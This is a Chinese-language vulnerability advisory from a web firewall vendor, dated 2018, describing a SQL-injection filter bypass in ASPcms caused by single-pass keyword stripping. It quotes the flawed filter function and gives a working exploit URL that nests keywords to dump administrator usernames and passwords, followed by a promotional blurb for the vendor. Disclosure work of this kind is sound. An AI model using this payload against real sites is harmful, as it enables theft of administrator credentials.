湖盟云防火墙详解aspcms防注入研究报告

2018 年 3 月 4 日2760

  近日,湖盟云防火墙安全专家Viekst检测到aspcms在SQL过滤的时候存在畸形的过滤,通过精心的构造即可绕过其过滤,成功利用可获取管理员的所有信息,危害很大并且影响所有版本。找出问题后,湖盟云防火墙第一时间联系了厂商,并配合对方完成了漏洞的修补。

  ASPcms介绍:

  ASPcms是完全开源的一套CMS建站系统,主要面向企业进行快速的建造简洁,高效,易用,安全的公司企业网站,一般的开发人员就能够使用本系统以最低的成本、最少的人力投入在最短的时间内架设一个功能齐全、性能优异的公司企业网站。ASPcms是基于ASP+Access(sql2000)开发的网站内容管理系统,提供了简介类模块,新闻类模块,产品类模块,图片类模块,下载类模块。你在使用过程中可选择任意模块来建设网站。

  以下是该漏洞产生的细节部分:

  0×1 Aspcms在处理提交的数据都用了filterPara函数过滤,这个函数接着调用了Checkxss,PreventSqlin两个函数进行了字符过滤,从字面上可知   Checkxss是用来过滤跨站的,而preventSqlin是用来过滤SQL注入语句的。
  0×2 我们看下关键的preventSqlin函数 (/inc/AspCms_CommonFun.asp
  Function preventSqlin(content)
  dim sqlStr,sqlArray,i,speStr
  sqlStr=”<|>|%|%27|’|”|;|*|and|exec|dbcc|alter|drop|insert|select|update|delete|count|master|truncate|char|declare|where|set|declare|mid|chr” ‘要过滤的SQL关键词
  if isNul(content) then Exit Function
  sqlArray=split(sqlStr,”|”) ‘将其分割成数组
  for i=lbound(sqlArray) to ubound(sqlArray)
  if instr(lcase(content),sqlArray(i))<>0 then
  select case sqlArray(i)
  case “<”:speStr=”<” case “>”:speStr=”>”
  case “‘”,”"”":speStr=”"”
  ‘case “;”:speStr=”;”
  case else:speStr=”"
  end select ‘如果出现了 < > ‘ “ ; 则将其HTML转义
  content=replace(content,sqlArray(i),speStr,1,-1,1) ‘如果出现关键字则将其替换为空。
  end if
  next
  preventSqlin=content
  End Function

  该函数看似是安全的,但是忘了一种情形,那就是用户提交的是类似于SELE(关键字)CT,过滤之后不又是一个关键字吗?这和早些年的ASP防注入的有点像,都是忘了应该循环匹配替换。

  0×3 有了上面的分析,可以构造注入的语句了,下面给出测试的EXP

  http://localhost/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user

1



(测试截图)

  湖盟云安全平台(my.hnhack.com):国际知名的网站安全保护、网站性能提升平台 ,通过湖盟云平台分布在世界各地的节点,可以有效提高网站访问量,据统计,使用了湖盟云平台的网站,平均可加速200%以上,网站访问量提高20%。

0 0